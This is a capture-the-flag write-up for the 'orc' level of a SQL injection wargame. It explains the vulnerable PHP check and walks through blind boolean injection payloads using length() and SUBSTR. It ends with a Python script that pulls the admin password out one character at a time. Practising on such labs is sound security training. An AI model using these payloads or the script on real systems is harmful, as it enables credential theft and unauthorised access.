Orc
Blind-boolean based, enumerate password
Code
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello admin</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc");
highlight_file(__FILE__);
?>Line 5: preg_match filters the string "prob", underscores, periods, and parenthesis.
Line 12: Query obtains a user-supplied value and assigns it to "pw",
Line 14: Then compares the user-supplied value to the "pw" value stored for the 'admin' user. If they are equal, the challenge will be solved.
Query
SELECT id FROM prob_orc WHERE id='admin' AND pw=''Testing
Vulnerable parameter is "pw".
pw=' OR id='admin' returns "Hello admin" indicating a true statement.
Using "length"
The length of the string stored in "pw" can be derived using "length".
pw=' OR id='admin' AND length(pw)=1%23 returns nothing, indicating a false statement.
Incrementing the value sequentially eventually results in:
pw=' OR id='admin' AND length(pw)=8%23
which returns "Hello admin" indicating a true statement indicating the string is 8 characters long.
Using "SUBSTR"
By using "SUBSTR" the stored value can be guessed 1 character at a time.
pw=' OR id='admin' AND SUBSTR(pw, 1, 1)=0%23
id='admin': This part is setting theidparameter to the value 'admin'.AND: Logical operator used to combine conditions in a SQL WHERE clause.SUBSTR(pw, 1, 1)=0: This part is checking whether the first character of thepw(password) field is equal to 0.%23: This is URL-encoded#.
In order to derive the stored value, each character can be enumerated individually by checking if the character in each start position is equal to a character in the charset: a-z0-9. Special characters should be included, but for the purpose of this challenge only alphanumeric is used.
This is a tedious process.
Previously it was discovered that the stored string is 8 characters long so the process will need to be done 8 times, once for each character.
Steps
Checking if the first character of stored value is equal to 0. pw=' OR id='admin' AND SUBSTR(pw, 1, 1)=0%23 returns "Hello admin" : True
2nd character is equal to '9'. pw=' OR id='admin' AND SUBSTR(pw, 2, 1)=9%23
3rd character is equal to '5'. pw=' OR id='admin' AND SUBSTR(pw, 3, 1)=5%23
4th character is equal to 'a'. pw=' OR id='admin' AND SUBSTR(pw, 4, 1)=a%23
5th character is equal to '9' pw=' OR id='admin' AND SUBSTR(pw, 5, 1)=9%23
6th character is equal to '8' pw=' OR id='admin' AND SUBSTR(pw, 6, 1)=8%23
7th character is equal to '5' pw=' OR id='admin' AND SUBSTR(pw, 7, 1)=5%23
8th character is equal to '2' pw=' OR id='admin' AND SUBSTR(pw, 8, 1)=2%23
Incrementing the start position as each character is guessed eventually reveals the value stored of 095a9852.
Finally, the challenge is solved with: pw=095a9852
Effective Query
SELECT id FROM prob_orc WHERE id='admin' AND pw='095a9852'Python Script
import requests
import string
import urllib.parse
# Define constants
TARGET_URL = "https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?pw="
COOKIE = {"PHPSESSID": "4qeps28bu02omhqapjte0rjerm"}
# Initialize variables
pw_length = 0
passwd = ""
# Determine password length
for length_guess in range(1, 9):
url = TARGET_URL + urllib.parse.quote("' OR id='admin' AND length(pw)={}#".format(length_guess))
response = requests.get(url, cookies=COOKIE)
if "Hello admin" in response.text:
print(f"pw length = {length_guess}")
pw_length = length_guess
# Retrieve password
for x in range(pw_length + 1):
for ascii_code in range(48, 122):
url = TARGET_URL + "1' or id='admin' and " + urllib.parse.quote("substring(pw,{},1) = '{}".format(str(x), chr(ascii_code)))
response = requests.get(url, cookies=COOKIE)
if "Hello admin" in response.text:
print(passwd)
passwd += chr(ascii_code)
break
# Print password
print(f"Password = {passwd}")Last updated